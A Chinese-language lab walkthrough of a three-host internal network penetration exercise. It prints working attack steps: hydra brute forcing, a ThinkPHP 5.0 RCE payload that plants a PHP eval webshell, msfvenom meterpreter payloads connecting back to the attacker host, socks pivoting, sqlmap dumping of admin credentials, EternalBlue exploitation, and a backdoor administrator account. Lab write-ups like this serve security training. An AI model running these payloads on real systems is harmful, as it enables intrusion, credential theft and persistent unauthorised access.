文章目录
- 实验环境
- Target1 - Centos7 (web服务)
- Target2 - Ubuntu (内网web服务)
- Target3 - Windows7 (客户端)
- 实验目的
- 实验步骤
- 测试Target1
- 信息收集
- 22/21端口 弱口令爆破(MSF,hydra)
- 3306端口
- 8888端口
- 80端口
- 主机信息收集
- 反弹shell到msf
- msfvenom生成payload
- 上传到 Target1 的 /tmp 目录下执行
- 建立Socks代理
- 测试Target2
- 信息收集
- 21/22端口
- 8888端口
- 80端口
- 主机信息收集
- 发现存在192.168.33.0/24的内网网段。
- 测试Target3
- 信息收集
- 分析利用
- 3389端口
实验环境
做到一半环境崩了,IP地址以下面为准
Target1 - Centos7 (web服务)
此主机的IP地址:
192.168.41.136 (模拟公网IP能与物理机通讯)
192.168.22.132
Target2 - Ubuntu (内网web服务)
此主机的IP地址:
192.168.22.133
192.168.33.130
Target3 - Windows7 (客户端)
此主机的IP地址:
192.168.33.33
实验目的
拿下三台主机权限
实验步骤
测试Target1
信息收集
使用dirsearch扫描192.168.41.136的网站目录,发现 http://192.168.41.136/index.php 是Thinkphp框架
nmap扫描端口
22/21端口 弱口令爆破(MSF,hydra)
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.41.136
set USER_FILE /root/Desktop/tools/dic_username_ssh.txt
set PASS_FILE /root/Desktop/tools/pwd100.txt
hydra -L /home/kali/Desktop/sshfuzz/user.txt -P /home/kali/Desktop/sshfuzz/pass.txt 192.168.41.136 ssh -f
hydra -L /home/kali/Desktop/sshfuzz/user.txt -P /home/kali/Desktop/sshfuzz/pass.txt 192.168.41.136 ftp -f
3306端口
不允许远程IP登录
8888端口
宝塔界面未知账号密码无法利用
80端口
Thinkphp v5.0 存在远程命令执行漏洞,通过命令执行写入一句话,可 GetShell
php一句话木马 poc
/index.php?
s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put
_contents&vars[1][]=admin123.php&vars[1][]=<?php @eval($_POST[123]);?>
使用蚁剑链接成功
web服务器成功拿下 (192.168.41.136)
主机信息收集
ifconfig 发现存在22网段
上传脚本到 /tmp目录 ,扫描22网段 ping.sh
#!/bin/bash
for num in {1..254};
do
ip=192.168.22.$num
ping -c1 $ip >/dev/null 2>&1
if [ $? = 0 ];
then
echo "$ip" ok
else
echo "$ip" fail
fi
done
赋予ping.sh 权限,并执行
chmod 777 ping.sh
./ping.sh > ping.txt
但执行不了,不知道是不是环境问题,换另一个方法上传一个fscan内网扫描工具
使用bash反弹shell的方法,反弹到攻击机
赋予fscan 权限并执行,发现存活主机 192.168.22.133/132 以及端口开放情况发现192.168.22.133是一个CMS
./fscan_amd64 -h 192.168.22.0/24
反弹shell到msf
反弹 Target1 的 Shell 到 MSF
msfvenom生成payload
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.41.130 lport=6666 -f elf -o msf.elf
上传到 Target1 的 /tmp 目录下执行
# 赋予执行权限
chmod 777 msf.elf
# 执行程序
./msf.elf
meterpreter > run get_local_subnets 获取网段信息
建立Socks代理
获得 Target1 的 meterpreter shell 后,添加到 192.168.22.0/24 网段的路由
run autoroute -s 192.168.22.0/24
run autoroute -p
使用 MSF 的 socks5 模块启动 socks 代理服务
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > run
配置 proxychains 代理工具
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080
也可以使用 stowaway 代理
1、攻击机启动admin监听
./admin -l 4444 -s hack
2、Target1启动agent
./agent -c 192.168.41.130:4444 -s hack
3、开启socks代理
进入Target1的node节点,使用socks命令开启socks代理
use 0
socks 1080
4、编辑 proxychains4.conf 文件
vim /etc/proxychains4.conf
5、测试socks代理,使用proxychains工具
测试Target2
信息收集
22网段进行内网扫描,
proxychains nmap -sT -Pn -p- -n -T4 192.168.22.133
21/22端口
弱口令爆破 爆破不成功
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst
192.168.22.22 ftp
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst
192.168.22.22 ssh
proxychains hydra -vV -l root -P /usr/share/wordlists/metasploit/password.lst
192.168.22.22 mysql
8888端口
宝塔页面无法利用
80端口
上面信息收集发现80端口是个Bagecms的框架,寻找历史漏洞挨个测试发现存在SQL注入漏洞,使用查找到的POC ,使用sqlmap工具进行测试
通过连接代理服务器,可使本地物理机访问内网的web页面,也可以明显看出是bagecms
proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword
爆数据库
proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword --dbs
爆bagecms的表名
proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword -D bagecms --tables
爆bage_admin 的列的数据
proxychains sqlmap -u 'http://192.168.22.133/index.php?r=vul&keyword=1' -p keyword -D bagecms -T bage_admin --dump
得到后台登录账号密码为:admin/123qwe
使用Proxifier工具设置本地物理机全局代理,使得使用御剑目录扫描工具扫描内网web服务
通过御剑目录扫描在,访问 /robots.txt 目录发现了目录泄露,访问得到了管理后台的地址
登录进后台 -> 模板 -> 在 site文件夹 index.php 文件后面添加一句话马 -> 用 蚁剑 配置 socks 代理连接webshell
成功连接 上线target2目标机器
并且为root用户(拿下192.168.22.133 服务器权限)
主机信息收集
ifconfig
发现存在192.168.33.0/24的内网网段。
使用stowaway二层socks代理
1、在node中开启监听
进入node 0节点,执行listen,设置监听端口,开启监听模式
use 0
listen
1
7070
在 Target1 上可以看到 agent 监听了 7070 端口
2、Target2连接监听端口
在 Target2 中连接 Target1 监听的 7070 端口
./agent -c 192.168.22.130:7070 -s hack
3、开启Socks代理
admin 接收到新的 node 1 , 进入 node 1 节点开启 socks 代理
4、修改proxychains4.conf 文件 测试代理
vim /etc/proxychains4.conf
创建ping.sh脚本进行内网存活探测 发现192.168.33.33主机存活
#!/bin/bash
for num in {1..254};
do
ip=192.168.22.$num
ping -c1 $ip >/dev/null 2>&1
if [ $? = 0 ];
then
echo "$ip" ok
else
echo "$ip" fail
fi
done
测试Target3
信息收集
proxychains3 nmap -sT -Pn -p- -n -T4 192.168.33.33
使用内网扫描工具fscan,进行三网段扫描发现 192.168.33.33为Windows 7 系统,并且存在MS17-010漏洞
分析利用
知道了存在MS17-010漏洞,而且这个漏洞永恒之蓝是通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机
打开攻击机的MSF,反弹Target1\2的shell,生成linux系统的木马payload
msfvenom -p linux/x64/meterpreter/bind_tcp lport=5554 -f elf > target1.elf
msfvenom -p linux/x64/meterpreter/bind_tcp lport=5555 -f elf > target2.elf
通过蚁剑上传到服务器目录并执行,得到target1和target2的session,并配置路由
使用MSF的针对MS17-010的扫描模块进行漏洞检测,发现确实存在MS17-010漏洞
利用MS17-010模块进行漏洞攻击
use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.33.33
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload
windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.33.33
msf6 exploit(windows/smb/ms17_010_psexec) > set payload
windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > set LPORT 4444
msf6 exploit(windows/smb/ms17_010_psexec) > exploit
拿到了target3的session,并且为system权限(192.168.33.33)
利用上面的信息收集发现此主机开放了3389远程端口,那么我们可以直接使用物理机进行远程桌面连接
3389端口
# 添加管理员用户
net user test test123 /add
net localgroup administrators test /add
# 查看管理员用户
net localgroup administrators
添加完管理用户,使用proxifier软件设置代理
使用Windows自带的远程软件进行远程连接
如果有用户正在登录则等30秒自动踢下线
拿下主机,并且只有一个网段,渗透完成!!!!